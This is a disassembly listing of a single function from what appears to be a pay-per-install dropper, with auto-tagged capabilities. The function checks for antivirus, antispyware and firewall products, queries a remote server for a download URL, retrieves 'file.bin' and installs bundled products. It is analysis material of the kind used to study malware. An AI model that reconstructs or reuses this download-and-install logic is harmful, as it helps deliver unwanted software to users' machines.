Function at 0x4370d1
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Terminate process

Disassembly:
push 0x1cc
mov eax, 0x43e4ec
call fcn.0041bbec
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 3
mov dword [ebp - 0xb8], eax
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x433a49
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xa8], esp
push str.started
call fcn.0040189b
call fcn.0042f421
add esp, 0x1c
push 0x45e430
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 6
xor edi, edi
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
push edi
push edi
xor esi, esi
inc esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push edi
push 0x100
mov dword [0x45e42c], eax
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
call fcn.0042ebe5
push edi
lea eax, [ebp - 0x148]
push eax
push 0x45e448
mov dword [ebp - 0x148], esi
mov dword [ebp - 0x144], edi
mov dword [ebp - 0x140], edi
mov dword [ebp - 0x13c], edi
call sub.gdiplus.dll_GdiplusStartup
mov ebx, 0x445044
push ebx
lea esi, [ebp - 0x30]
call fcn.004018d3
sub esp, 0x1c
mov dword [ebp - 4], edi
mov eax, esp
mov ecx, esi
mov dword [ebp - 0xa8], esp
push ecx
push eax
call fcn.0043b14c
pop ecx
pop ecx
lea eax, [ebp - 0xd8]
push eax
call fcn.0042ff9d
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 1
mov dword [ebp - 0xa8], esp
push eax
push 0x447f60
push ecx
call fcn.004062bb
add esp, 0xc
call fcn.0042f421
add esp, 0x1c
push edi
push 1
lea ecx, [ebp - 0xd8]
call fcn.00401722
or dword [ebp - 4], 0xffffffff
push edi
push 1
call fcn.0040115a
push ebx
lea esi, [ebp - 0x30]
call fcn.004018d3
sub esp, 0x1c
mov dword [ebp - 4], 2
mov eax, esp
mov ecx, esi
mov dword [ebp - 0xa8], esp
push ecx
push eax
call fcn.0043ad44
pop ecx
pop ecx
lea eax, [ebp - 0xd8]
push eax
call fcn.0042ff9d
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 3
mov dword [ebp - 0xa8], esp
push eax
push str.antivirus
push ecx
call fcn.004062bb
add esp, 0xc
call fcn.0042f421
add esp, 0x1c
push edi
push 1
lea ecx, [ebp - 0xd8]
call fcn.00401722
or dword [ebp - 4], 0xffffffff
push edi
push 1
call fcn.0040115a
push ebx
lea esi, [ebp - 0x30]
call fcn.004018d3
sub esp, 0x1c
mov dword [ebp - 4], 4
mov eax, esp
mov ecx, esi
mov dword [ebp - 0xa8], esp
push ecx
push eax
call fcn.0043abdf
pop ecx
pop ecx
lea eax, [ebp - 0xd8]
push eax
call fcn.0042ff9d
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 5
mov dword [ebp - 0xa8], esp
push eax
push str.antispyware
push ecx
call fcn.004062bb
add esp, 0xc
call fcn.0042f421
add esp, 0x1c
push edi
push 1
lea ecx, [ebp - 0xd8]
call fcn.00401722
or dword [ebp - 4], 0xffffffff
push edi
push 1
call fcn.0040115a
push ebx
lea esi, [ebp - 0x30]
call fcn.004018d3
sub esp, 0x1c
mov dword [ebp - 4], 6
mov ecx, esi
mov eax, esp
mov dword [ebp - 0xa8], esp
push ecx
push eax
call fcn.0043aa7a
pop ecx
pop ecx
lea eax, [ebp - 0xd8]
push eax
call fcn.0042ff9d
add esp, 4
mov ecx, esp
mov byte [ebp - 4], 7
mov dword [ebp - 0xa8], esp
push eax
push str.firewall
push ecx
call fcn.004062bb
add esp, 0xc
call fcn.0042f421
add esp, 0x1c
push edi
push 1
lea ecx, [ebp - 0xd8]
call fcn.00401722
or dword [ebp - 4], 0xffffffff
push edi
push 1
call fcn.0040115a
push 0xd4
call fcn.0041a182
pop ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 4], 8
cmp eax, edi
je 0x43737e
push 3
push 0x4e20
push 0x1388
push eax
call fcn.00438e44
mov dword [ebp - 0xac], eax
jmp 0x437384
mov dword [ebp - 0xac], edi
push edi
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0x8c], 0xf
call fcn.004017e9
sub esp, 0x1c
mov dword [ebp - 4], 9
mov ecx, esp
mov dword [ebp - 0xa8], esp
push 0x456bc0
call fcn.0040189b
lea edi, [ebp - 0xd8]
call fcn.004389db
add esp, 0x1c
push 0xffffffffffffffff
push 0x456fbc
xor ebx, ebx
mov byte [ebp - 4], 0xa
call fcn.004010d2
push ebx
push 1
mov esi, edi
mov byte [ebp - 4], 9
call fcn.0040115a
cmp dword [0x456fd4], 8
mov eax, dword [0x456fc0]
jae 0x4373f7
mov eax, 0x456fc0
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xa8], esp
push eax
call fcn.004018d3
mov edi, dword [ebp - 0xac]
call fcn.00438b62
lea eax, [ebp - 0x4c]
push eax
call fcn.004399f7
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x38], 0
jne 0x437506
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xa8], esp
push str.http:__forces.onlineleads.ru_get_json_stb4did1088943357ext_partner_idfile_id273693662
call fcn.0040189b
lea edi, [ebp - 0xd8]
call fcn.004389db
add esp, 0x1c
push 0xffffffffffffffff
push 0x456fd8
xor ebx, ebx
mov byte [ebp - 4], 0xc
call fcn.004010d2
push ebx
push 1
mov esi, edi
mov byte [ebp - 4], 0xb
call fcn.0040115a
cmp dword [0x456ff0], 8
mov eax, dword [0x456fdc]
jae 0x437480
mov eax, 0x456fdc
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xa8], esp
push eax
call fcn.004018d3
mov edi, dword [ebp - 0xac]
call fcn.00438b62
lea eax, [ebp - 0xd8]
push eax
call fcn.004399f7
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0xd
call fcn.0040150a
push ebx
push 1
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 0xb
call fcn.00401722
cmp dword [ebp - 0x38], ebx
jne 0x4374ff
lea ecx, [ebp - 0xfc]
mov eax, edi
call fcn.00438a89
sub esp, 0x1c
mov byte [ebp - 4], 0xe
mov ecx, esp
mov dword [ebp - 0xa8], esp
push eax
push str.cant_get_info:
push ecx
call fcn.00401c9a
add esp, 0xc
call fcn.00432ca2
mov eax, 0x456fd8
jmp 0x43750b
mov eax, 0x456fbc
push 0xffffffffffffffff
push 0x456ff4
xor ebx, ebx
call fcn.004010d2
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xa8], esp
push str.ETag
call fcn.004018d3
push dword [ebp - 0xac]
lea ecx, [ebp - 0x30]
call fcn.00439071
xor edi, edi
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x1c], edi
je 0x437674
sub esp, 0x1c
mov dword [ebp - 0xa8], esp
mov edi, esp
sub esp, 0x1c
mov dword [ebp - 0xa8], esp
mov ebx, esp
push str.doM0b9lsEfwTznkEcOLYrFjZ5rhX2bhk
sub esp, 0x1c
lea eax, [ebp - 0x30]
mov esi, esp
mov dword [ebp - 0xa8], esp
push eax
call fcn.004010aa
lea ecx, [ebp - 0x12c]
call fcn.00438efe
add esp, 0x1c
push eax
push ebx
mov byte [ebp - 4], 0x10
call fcn.00406306
add esp, 0xc
call fcn.00430101
add esp, 0x1c
lea edi, [ebp - 0xd8]
call fcn.004389db
add esp, 0x1c
push 0xffffffffffffffff
mov edi, 0x457010
push edi
xor ebx, ebx
mov byte [ebp - 4], 0x11
call fcn.004010d2
push ebx
inc ebx
push ebx
lea esi, [ebp - 0xd8]
call fcn.0040115a
push 0
push ebx
lea ecx, [ebp - 0x12c]
mov byte [ebp - 4], 0xf
call fcn.00401722
push 0x447fe0
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xa8], esp
push edi
call fcn.004010aa
lea ecx, [ebp - 0xfc]
call fcn.00438efe
add esp, 0x1c
push eax
lea eax, [ebp - 0xd8]
push 0x447fe4
push eax
mov byte [ebp - 4], 0x12
call fcn.004062bb
add esp, 0xc
push eax
lea eax, [ebp - 0x12c]
push eax
mov byte [ebp - 4], 0x13
call fcn.00406306
add esp, 0xc
push 0xffffffffffffffff
xor esi, esi
push esi
push eax
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 0x14
call fcn.0040150a
push esi
push ebx
lea ecx, [ebp - 0x12c]
call fcn.00401722
push esi
push ebx
lea ecx, [ebp - 0xd8]
call fcn.00401722
push esi
push ebx
lea ecx, [ebp - 0xfc]
mov byte [ebp - 4], 0xf
call fcn.00401722
xor edi, edi
jmp 0x437677
xor ebx, ebx
inc ebx
lea eax, [ebp - 0x12c]
push eax
call fcn.00430801
pop ecx
push eax
lea eax, [ebp - 0xfc]
push str.guid
push eax
mov byte [ebp - 4], 0x15
call fcn.004062bb
add esp, 0xc
push 0xffffffffffffffff
push edi
lea esi, [ebp - 0xa4]
mov byte [ebp - 4], 0x16
call fcn.004068d4
push edi
push ebx
lea ecx, [ebp - 0xfc]
call fcn.00401722
push edi
push ebx
lea ecx, [ebp - 0x12c]
mov byte [ebp - 4], 0xf
call fcn.00401722
lea eax, [ebp - 0x1d8]
push eax
call fcn.00406e3d
sub esp, 0x1c
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x4c]
mov ecx, esp
mov dword [ebp - 0xa8], esp
push eax
call fcn.0040141a
lea ecx, [ebp - 0xfc]
call fcn.00439a8b
add esp, 0x1c
mov byte [ebp - 4], 0x18
cmp dword [eax + 0x18], 0x10
jb 0x43770e
mov eax, dword [eax + 4]
jmp 0x437711
add eax, 4
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.00408025
pop ecx
pop ecx
push edi
push ebx
lea ecx, [ebp - 0xfc]
mov byte [ebp - 4], 0x17
call fcn.00401722
lea eax, [ebp - 0x6c]
push eax
call fcn.0040821d
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x1d8]
push eax
mov byte [ebp - 4], 0x1a
call fcn.004083b4
pop ecx
pop ecx
push 0x445044
lea esi, [ebp - 0xd8]
mov dword [ebp - 4], 0x19
call fcn.004018d3
xor eax, eax
mov byte [ebp - 4], 0x1d
lea edi, [ebp - 0xa8]
stosb byte es:[edi], al
push dword [ebp - 0xa8]
lea eax, [ebp - 0x138]
push 0x44801c
call fcn.004083f8
mov eax, esi
push eax
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0xfc]
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x1e
call fcn.0040841e
push 0xffffffffffffffff
push 0x456f30
xor ebx, ebx
mov byte [ebp - 4], 0x1f
call fcn.004010d2
push ebx
push 1
lea esi, [ebp - 0xfc]
call fcn.0040115a
push ebx
push 1
lea esi, [ebp - 0x138]
call fcn.0040115a
push ebx
push 1
lea esi, [ebp - 0xd8]
mov byte [ebp - 4], 0x19
call fcn.0040115a
cmp dword [0x456f44], ebx
jne 0x437809
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xa8], esp
push str.empty_download_url
call fcn.004018d3
jmp 0x4374fa
xor eax, eax
lea edi, [ebp - 0xa8]
stosb byte es:[edi], al
push dword [ebp - 0xa8]
lea eax, [ebp - 0x108]
push str.size
mov dword [ebp - 0xb4], ebx
call fcn.004083f8
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x20
call fcn.00408465
push ebx
push 1
lea esi, [ebp - 0x108]
mov dword [0x45e3a4], eax
mov byte [ebp - 4], 0x19
call fcn.0040115a
push str.file.bin
lea esi, [ebp - 0xd8]
call fcn.004018d3
xor eax, eax
mov byte [ebp - 4], 0x21
lea edi, [ebp - 0xa8]
stosb byte es:[edi], al
push dword [ebp - 0xa8]
lea eax, [ebp - 0x138]
push 0x44806c
call fcn.004083f8
mov eax, esi
push eax
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0xfc]
push eax
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x22
call fcn.0040841e
push 0xffffffffffffffff
push 0x456f4c
xor ebx, ebx
mov byte [ebp - 4], 0x23
call fcn.004010d2
push ebx
push 1
lea esi, [ebp - 0xfc]
call fcn.0040115a
push ebx
push 1
lea esi, [ebp - 0x138]
call fcn.0040115a
push ebx
push 1
lea esi, [ebp - 0xd8]
mov byte [ebp - 4], 0x19
call fcn.0040115a
call fcn.0040848b
xor eax, eax
lea edi, [ebp - 0xa8]
stosb byte es:[edi], al
push dword [ebp - 0xa8]
lea eax, [ebp - 0x138]
push 0x448080
call fcn.004083f8
lea edx, [ebp - 0x138]
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 0x24
call fcn.004082e6
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0xa8], esp
push eax
call fcn.004081d2
lea ecx, [ebp - 0xfc]
call fcn.004309fd
add esp, 0x20
push 0xffffffffffffffff
push ebx
lea esi, [ebp - 0xa4]
mov byte [ebp - 4], 0x25
call fcn.004068d4
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0xfc]
call fcn.00401722
push ebx
push edi
lea esi, [ebp - 0x138]
call fcn.0040115a
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 4], 0x17
call fcn.00408260
lea eax, [ebp - 0x1d8]
mov byte [ebp - 4], 0xf
call fcn.00406a13
push ebx
push edi
lea esi, [ebp - 0x30]
call fcn.0040115a
push ebx
push edi
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 9
call fcn.00401722
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xa8], esp
push 0x456ff4
call fcn.004010aa
lea ecx, [ebp - 0xfc]
call fcn.00438efe
mov ecx, esp
mov byte [ebp - 4], 0x26
mov dword [ebp - 0xa8], esp
push eax
push str.url
push ecx
call fcn.004062bb
add esp, 0xc
call fcn.0042f421
add esp, 0x1c
push ebx
push edi
lea ecx, [ebp - 0xfc]
mov byte [ebp - 4], 9
call fcn.00401722
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xa8], esp
push 0x457010
call fcn.004010aa
lea ecx, [ebp - 0xfc]
call fcn.00438efe
mov ecx, esp
mov byte [ebp - 4], 0x27
mov dword [ebp - 0xa8], esp
push eax
push 0x448098
push ecx
call fcn.004062bb
add esp, 0xc
call fcn.0042f421
add esp, 0x1c
push ebx
push edi
lea ecx, [ebp - 0xfc]
mov byte [ebp - 4], 9
call fcn.00401722
push ebx
push 0x4345a0
call fcn.0043a5cb
mov dword [ebp - 0xb4], eax
lea eax, [ebp - 0xe0]
push eax
mov dword [ebp - 0xe0], 8
mov dword [ebp - 0xdc], 0xc000
call fcn.0043a0f3
pop ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0xb8]
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0xa8], eax
lea eax, [ebp - 0xa8]
push eax
call fcn.00402516
pop ecx
mov esi, eax
mov eax, dword [ebp - 0xac]
lea ecx, [ebp - 0x12c]
mov byte [ebp - 4], 0x28
call fcn.00438aa4
push str.delay
push eax
lea eax, [ebp - 0xfc]
push eax
mov byte [ebp - 4], 0x29
call fcn.00401ce5
sub esp, 0x10
mov ecx, esp
mov byte [ebp - 4], 0x2a
mov dword [ebp - 0xa8], esp
push esi
push eax
push ecx
call fcn.00402571
add esp, 0xc
push dword [ebp - 0xac]
call fcn.00438b2c
push ebx
push edi
lea esi, [ebp - 0xfc]
call fcn.0040115a
push ebx
push edi
lea esi, [ebp - 0x12c]
call fcn.0040115a
push ebx
push edi
lea esi, [ebp - 0xd8]
mov byte [ebp - 4], 9
call fcn.0040115a
sub esp, 0x1c
mov dword [ebp - 0xa8], esp
mov esi, esp
sub esp, 0x1c
lea eax, [ebp - 0xa4]
mov ecx, esp
mov dword [ebp - 0xa8], esp
push eax
call fcn.0040141a
mov ecx, esi
call fcn.00439b63
mov ecx, dword [ebp - 0xac]
add esp, 0x1c
lea eax, [ebp - 0x30]
push eax
call fcn.0043980b
mov byte [ebp - 4], 0x2b
cmp dword [ebp - 0x1c], ebx
jne 0x437b92
mov eax, dword [ebp - 0xac]
lea ecx, [ebp - 0xfc]
call fcn.00438a89
sub esp, 0x1c
mov byte [ebp - 4], 0x2c
mov ecx, esp
mov dword [ebp - 0xa8], esp
push eax
push str.cant_get_form_data:
jmp 0x4374f1
lea eax, [ebp - 0x1d8]
push eax
call fcn.00406e3d
sub esp, 0x1c
mov byte [ebp - 4], 0x2d
lea eax, [ebp - 0x30]
mov ecx, esp
mov dword [ebp - 0xa8], esp
push eax
call fcn.0040141a
lea ecx, [ebp - 0xfc]
call fcn.00439a8b
add esp, 0x1c
mov byte [ebp - 4], 0x2e
cmp dword [eax + 0x18], 0x10
jb 0x437bd3
mov eax, dword [eax + 4]
jmp 0x437bd6
add eax, 4
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.00408025
pop ecx
pop ecx
push ebx
push edi
lea ecx, [ebp - 0xfc]
mov byte [ebp - 4], 0x2d
call fcn.00401722
lea eax, [ebp - 0x6c]
push eax
call fcn.0040821d
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x1d8]
push eax
mov byte [ebp - 4], 0x30
call fcn.004083b4
pop ecx
pop ecx
mov dword [ebp - 4], 0x2f
call fcn.0043a571
push dword [0x45e42c]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
sub esp, 0x20
lea eax, [ebp - 0x6c]
mov ecx, esp
mov dword [ebp - 0xa8], esp
push eax
call fcn.004081d2
call fcn.0043519a
add esp, 0x20
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 4], 0x2d
call fcn.00408260
lea eax, [ebp - 0x1d8]
mov byte [ebp - 4], 0x2b
call fcn.00406a13
push ebx
push edi
lea ecx, [ebp - 0x30]
call fcn.00401722
push ebx
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x34], 0xf
call fcn.004017e9
mov byte [ebp - 4], 0x33
mov eax, dword [0x45e534]
sub eax, dword [0x45e530]
mov dword [ebp - 0xac], ebx
sar eax, 5
test eax, eax
jbe 0x437d9e
push dword [ebp - 0xac]
mov dword [ebp - 0xb0], ebx
call fcn.00406d25
mov ecx, eax
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0x10]
add ecx, 4
cdq
mov ecx, 0x104
idiv ecx
test eax, eax
jbe 0x437d7e
push 0x44810c
push dword [ebp - 0xb0]
push dword [ebp - 0xac]
call fcn.00406d25
mov esi, eax
add esi, 4
call fcn.00406c8f
sub esp, 0x1c
add eax, 0x70
mov esi, esp
mov dword [ebp - 0xa8], esp
push eax
call fcn.004010aa
lea ecx, [ebp - 0x12c]
call fcn.00438efe
add esp, 0x1c
push eax
lea eax, [ebp - 0xfc]
push eax
mov byte [ebp - 4], 0x34
call fcn.00406306
add esp, 0xc
push 0xffffffffffffffff
push ebx
lea esi, [ebp - 0x4c]
mov byte [ebp - 4], 0x35
call fcn.004068d4
push ebx
push edi
lea ecx, [ebp - 0xfc]
call fcn.00401722
push ebx
push edi
lea ecx, [ebp - 0x12c]
mov byte [ebp - 4], 0x33
call fcn.00401722
push dword [ebp - 0xac]
inc dword [ebp - 0xb0]
call fcn.00406d25
mov ecx, eax
mov eax, dword [ecx + 0x14]
sub eax, dword [ecx + 0x10]
add ecx, 4
cdq
mov ecx, 0x104
idiv ecx
cmp dword [ebp - 0xb0], eax
jb 0x437ccb
mov eax, dword [0x45e534]
sub eax, dword [0x45e530]
inc dword [ebp - 0xac]
sar eax, 5
cmp dword [ebp - 0xac], eax
jb 0x437c9f
mov ecx, dword [ebp - 0x38]
cmp ecx, ebx
je 0x437dcb
lea eax, [ecx - 1]
cmp eax, ecx
ja 0x437db9
push 0xffffffffffffffff
push eax
lea ecx, [ebp - 0x4c]
call fcn.0040149b
jmp 0x437dcb
push ebx
mov ebx, eax
sub ebx, ecx
lea edi, [ebp - 0x4c]
call fcn.0040617c
xor edi, edi
xor ebx, ebx
inc edi
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0xa8], esp
lea ecx, [ebp - 0x4c]
push ecx
push str.products
push eax
call fcn.004062bb
add esp, 0xc
call fcn.0042f421
add esp, 0x1c
push ebx
push edi
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 9
call fcn.00401722
mov eax, dword [0x45e4dc]
push edi
call fcn.0042ec87
call fcn.0042ed46
push dword [0x45e500]
push 0x432ce8
call fcn.0043a5cb
cmp dword [0x456cc4], 0xa
mov dword [ebp - 0xa8], eax
jne 0x437e7d
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xb4], esp
push str.closed
call fcn.0040189b
call fcn.0042f421
add esp, 0x1c
push edi
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xb4], esp
push str._close_install_
call fcn.004018d3
call fcn.00432895
add esp, 0x20
push 0xffffffffffffffff
push dword [ebp - 0xa8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, 0x45e430
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push dword [ebp - 0xb4]
call fcn.0043a59e
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [ebp - 0xb4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x400
call fcn.00418ea8
mov dword [ebp - 0xb4], eax
xor eax, eax
pop ecx
mov dword [ebp - 0xb8], ebx
mov dword [ebp - 0x70], 7
mov dword [ebp - 0x74], ebx
mov word [ebp - 0x84], ax
mov byte [ebp - 4], 0x36
mov esi, dword [0x45e530]
mov dword [ebp - 0xbc], ebx
cmp esi, dword [0x45e534]
jbe 0x437eee
call fcn.0041a58c
mov eax, dword [0x45e524]
mov dword [ebp - 0xe0], eax
mov eax, dword [0x45e534]
mov dword [ebp - 0xdc], esi
lea esi, [ebp - 0xe0]
mov dword [ebp - 0xb0], eax
cmp dword [0x45e530], eax
jbe 0x437f1d
call fcn.0041a58c
mov eax, dword [0x45e524]
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x10c], eax
mov eax, dword [esi]
cmp eax, ebx
je 0x437f44
lea ecx, [ebp - 0x110]
cmp eax, dword [ecx]
je 0x437f49
call fcn.0041a58c
mov ecx, dword [esi + 4]
lea eax, [ebp - 0x110]
cmp ecx, dword [eax + 4]
je 0x4380ba
call fcn.00401c72
mov ecx, 0x104
cmp byte [eax + 0x1c], bl
jne 0x437ff2
lea edi, [eax + 4]
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
mov dword [ebp - 0xb0], ebx
cdq
idiv ecx
test eax, eax
jbe 0x4380a7
push 0x448144
push dword [ebp - 0xb0]
mov esi, edi
call fcn.00406c8f
add eax, 0x70
push eax
lea eax, [ebp - 0xfc]
push eax
call fcn.00401ce5
add esp, 0xc
push 0xffffffffffffffff
push ebx
lea esi, [ebp - 0x88]
mov byte [ebp - 4], 0x37
call fcn.00401a93
push ebx
push 1
lea esi, [ebp - 0xfc]
mov byte [ebp - 4], 0x36
call fcn.0040115a
mov eax, dword [edi + 0x10]
sub eax, dword [edi + 0xc]
mov ecx, 0x104
cdq
idiv ecx
inc dword [ebp - 0xb0]
cmp dword [ebp - 0xb0], eax
jb 0x437f88
jmp 0x4380a7
lea esi, [eax + 4]
mov eax, dword [esi + 0x10]
sub eax, dword [esi + 0xc]
mov dword [ebp - 0xac], ebx
cdq
idiv ecx
test eax, eax
jbe 0x4380aa
call fcn.0042f128
push 0xf
cdq
pop ecx
idiv ecx
mov eax, dword [ebp - 0xbc]
push dword [ebp - 0xac]
lea edi, [edx + eax]
call fcn.00406c8f
push dword [ebp - 0xac]
add dword [ebp - 0xbc], 0x3c
mov dword [eax + 0xfc], edi
call fcn.00406c8f
push eax
push 0x432dc7
call fcn.0043a5cb
push dword [ebp - 0xac]
mov edi, eax
call fcn.00406c8f
push dword [ebp - 0xac]
mov dword [eax + 0xc4], edi
call fcn.00406c8f
mov eax, dword [eax + 0xc4]
mov edx, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx + edx*4], eax
mov eax, dword [esi + 0x10]
sub eax, dword [esi + 0xc]
mov ecx, 0x104
cdq
idiv ecx
inc dword [ebp - 0xb8]
inc dword [ebp - 0xac]
cmp dword [ebp - 0xac], eax
jb 0x43800c
xor edi, edi
inc edi
lea esi, [ebp - 0xe0]
call fcn.004084fc
jmp 0x437f34
mov eax, dword [ebp - 0x74]
cmp eax, ebx
je 0x4380cd
dec eax
lea ecx, [ebp - 0x88]
call fcn.00406bca
sub esp, 0x1c
lea eax, [ebp - 0x88]
mov esi, esp
mov dword [ebp - 0xbc], esp
push eax
call fcn.004010aa
lea ecx, [ebp - 0xfc]
call fcn.00438efe
mov ecx, esp
mov dword [ebp - 0xbc], esp
push eax
push str.unchecked
push ecx
mov byte [ebp - 4], 0x38
call fcn.004062bb
add esp, 0xc
call fcn.0042f421
add esp, 0x1c
push ebx
push edi
lea ecx, [ebp - 0xfc]
mov byte [ebp - 4], 0x36
call fcn.00401722
call fcn.00431e03
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push 0x434a64
call fcn.0043a5cb
mov esi, eax
mov eax, dword [0x45e4dc]
push edi
call fcn.0042ec87
call fcn.0042ed46
push esi
call fcn.0043a59e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [0x45e3dc]
call fcn.0041a957
pop ecx
push dword [0x45e3d8]
call fcn.0041a0df
mov esi, dword [sym.imp.USER32.dll_KillTimer]
pop ecx
push dword [0x45e3cc]
push dword [0x45e3d0]
call esi
mov eax, dword [0x45e3c8]
push dword [0x45e3c0]
mov eax, dword [eax + 4]
push eax
call esi
push dword [ebp - 0xb4]
push dword [ebp - 0xb8]
call fcn.0043a541
push dword [ebp - 0xb4]
call fcn.0041a0df
add esp, 0xc
cmp dword [ebp - 0x74], ebx
je 0x4381e2
push edi
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0xb4], esp
lea ecx, [ebp - 0x88]
push ecx
push str._unchecked_install_products
push eax
call fcn.00401c9a
add esp, 0xc
call fcn.00432895
add esp, 0x20
push 0xffffffffffffffff
push dword [ebp - 0xa8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0xa8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xa8], esp
push str.closed
call fcn.0040189b
call fcn.0042f421
add esp, 0x1c
push dword [0x45e448]
call sub.gdiplus.dll_GdiplusShutdown
jmp 0x437e76